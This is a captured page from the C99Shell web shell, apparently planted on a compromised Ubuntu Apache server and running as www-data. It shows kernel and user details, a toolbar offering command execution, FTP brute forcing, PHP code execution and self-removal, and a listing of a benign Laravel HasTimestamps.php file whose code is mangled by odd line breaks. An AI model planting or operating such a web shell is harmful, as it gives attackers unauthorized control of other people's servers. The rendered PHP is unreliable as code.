!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/database/Eloquent/Concerns/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasTimestamps.php (3.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Eloquent\Concerns;

use 
Illuminate\Support\Facades\Date;

trait 
HasTimestamps
{
    
/**
     * Indicates if the model should be timestamped.
     *
     * @var bool
     */
    
public $timestamps true;

    
/**
     * Update the model's update timestamp.
     *
     * @param  string|null  $attribute
     * @return bool
     */
    
public function touch($attribute null)
    {
        if (
$attribute) {
            
$this->$attribute $this->freshTimestamp();

            return 
$this->save();
        }

        if (! 
$this->usesTimestamps()) {
            return 
false;
        }

        
$this->updateTimestamps();

        return 
$this->save();
    }

    
/**
     * Update the creation and update timestamps.
     *
     * @return void
     */
    
public function updateTimestamps()
    {
        
$time $this->freshTimestamp();

        
$updatedAtColumn $this->getUpdatedAtColumn();

        if (! 
is_null($updatedAtColumn) && ! $this->isDirty($updatedAtColumn)) {
            
$this->setUpdatedAt($time);
        }

        
$createdAtColumn $this->getCreatedAtColumn();

        if (! 
$this->exists && ! is_null($createdAtColumn) && ! $this->isDirty($createdAtColumn)) {
            
$this->setCreatedAt($time);
        }
    }

    
/**
     * Set the value of the "created at" attribute.
     *
     * @param  mixed  $value
     * @return $this
     */
    
public function setCreatedAt($value)
    {
        
$this->{$this->getCreatedAtColumn()} = $value;

        return 
$this;
    }

    
/**
     * Set the value of the "updated at" attribute.
     *
     * @param  mixed  $value
     * @return $this
     */
    
public function setUpdatedAt($value)
    {
        
$this->{$this->getUpdatedAtColumn()} = $value;

        return 
$this;
    }

    
/**
     * Get a fresh timestamp for the model.
     *
     * @return \Illuminate\Support\Carbon
     */
    
public function freshTimestamp()
    {
        return 
Date::now();
    }

    
/**
     * Get a fresh timestamp for the model.
     *
     * @return string
     */
    
public function freshTimestampString()
    {
        return 
$this->fromDateTime($this->freshTimestamp());
    }

    
/**
     * Determine if the model uses timestamps.
     *
     * @return bool
     */
    
public function usesTimestamps()
    {
        return 
$this->timestamps;
    }

    
/**
     * Get the name of the "created at" column.
     *
     * @return string|null
     */
    
public function getCreatedAtColumn()
    {
        return static::
CREATED_AT;
    }

    
/**
     * Get the name of the "updated at" column.
     *
     * @return string|null
     */
    
public function getUpdatedAtColumn()
    {
        return static::
UPDATED_AT;
    }

    
/**
     * Get the fully qualified "created at" column.
     *
     * @return string|null
     */
    
public function getQualifiedCreatedAtColumn()
    {
        return 
$this->qualifyColumn($this->getCreatedAtColumn());
    }

    
/**
     * Get the fully qualified "updated at" column.
     *
     * @return string|null
     */
    
public function getQualifiedUpdatedAtColumn()
    {
        return 
$this->qualifyColumn($this->getUpdatedAtColumn());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--